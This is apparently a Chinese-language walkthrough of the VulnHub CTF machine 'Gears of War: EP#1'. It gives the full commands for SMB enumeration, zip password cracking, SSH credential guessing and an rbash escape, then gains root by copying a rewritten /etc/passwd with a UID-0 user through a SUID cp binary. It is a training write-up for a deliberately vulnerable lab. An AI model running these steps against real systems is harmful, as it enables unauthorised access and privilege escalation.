abbrlink: 8c8082bf
0x01 靶机介绍
-
Name: Gears of War: EP#1
-
Date release: 17 Oct 2019
-
Author: eDu809
-
Series: Gears of War
-
Description: Its a CTF machine that deals with the history of gears of war, where we must try to escape from prison and obtain root privileges. it has some rabbit holes, so you have to try to connect the tracksbrew to get access.
靶机下载地址:https://www.vulnhub.com/entry/gears-of-war-ep1%2C382/
0x02 侦查
端口探测
使用 nmap 进行端口扫描
nmap
-p-
-sV
-sC
-A
192
.168
.0
.105
-oA
nmap_Gears-of-War
#1
目录探测
使用 gobuster 对目录进行扫描,但未发现可疑目录
gobuster dir -u
http:
/
/192.168.0.105 -w /usr
/share/wordlists
/dirbuster/directory
-list-
2.3
-small.txt
SMB匿名登录
使用 smbmap 列出 SMB 共享,成功发现目录LOCUS_LAN$
smbmap
-H
192
.168
.0
.105
列出其中文件,成功找到SOS.txt和msg_horda.zip
smbmap
-H
192
.168
.0
.105
-R
使用 enum4linux 检查 SMB 服务
enum4linux
192
.168
.0
.105
成功找到用户 marcus、root 等
enum4linux
192.168.0.105
-R | grep Local
0x03 上线[marcus]
ZIP密码破解
使用 smbclient 连接共享LOCUS_LAN$
smbclient
//
192.168.0.105
/LOCUS_LAN$
通过 SMB 服务下载文件
smb >
get
SOS
.txt
smb >
get
msg_horda.
zip
查看文本并尝试解压压缩包,结果显示文本中存在密码,而压缩包解压需要密码,但经尝试后该密码并不是解压密码
cat
SOS
.txt
unzip
msg_horda
.zip
使用 crunch 生成4位密码字典
crunch
4
4
-t @%%, -o passwords
相关参数详情如下:
@ 插入小写字母
, 插入大些字母
插入数字
^ 插入特殊字符
查看生成的密码字典
使用 fcrackzip 借助字典破解压缩文件,成功拿到密码r44M
fcrackzip
-D
-v
-u
-p
passwords
msg_horda
.zip
解压压缩文件,成功发现文本key.txt,其中存在密码3_d4y
unzip
msg_horda
.zip
more
key
.txt
SSH登录
使用 hydra 验证 SSH 的登录信息是否为marcus/3_d4y
hydra -L users -p
3
_d4y ssh:
//192.168.0.105
成功通过 marcus 用户登录 SSH
ssh
marcus
@
192
.
168
.
0
.
105
0x04 权限提升[root]
信息收集
登录后发现当前命令行为 rbash,即为受限制的bash,主要不能执行以下几种情况
1、使用命令
cd
更改目录
2、设置或者取消环境变量的设置(SHELL, PATH, ENV, or BASH_ENV)
3、指定包含参数
'/'
的文件名
4、指定包含参数
' - '
的文件名
5、使用重定向输出
'>'
,
'>>'
,
'> |'
,
'<>'
'>&'
,
'&>'
由于存在诸多限制,因此需要尝试绕过,使用以下命令可进行绕过
ssh
marcus
@
192
.
168
.
0
.
105
-t
"bash -noprofile"
suid提权
查找带有 suid 的特权文件,在其中成功发现 cp 命令
find / -
type
f -perm -u=s
2
>
/dev/
null
把/etc/passwd复制至/tmp目录下
cat
/etc/passwd
cat
/etc/passwd > /tmp/passwd
使用 openssl 生成 mac 用户哈希
openssl
passwd -
1
-salt mac
123456
为新建的用户添加root用户组权限,同时添加至/tmp/passwd
mac:
$1$mac$hKt6m/mS5roM05SKHksDf.
:
0
:
0
:root
:/root
:/bin/bash
利用 cp 命令把/tmp/passwd替换为/etc/passwd
cp
/tmp/passwd /etc/passwd
通过 su 命令切换至新用户 mac 并最终提权至 root 权限
su
mac
cd
~
发现文件.flag.txt并成功拿到flag
ls
-la
cat
.flag
.txt
原文始发于微信公众号(狐狸说安全):VulnHub-Gears-of-War-1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论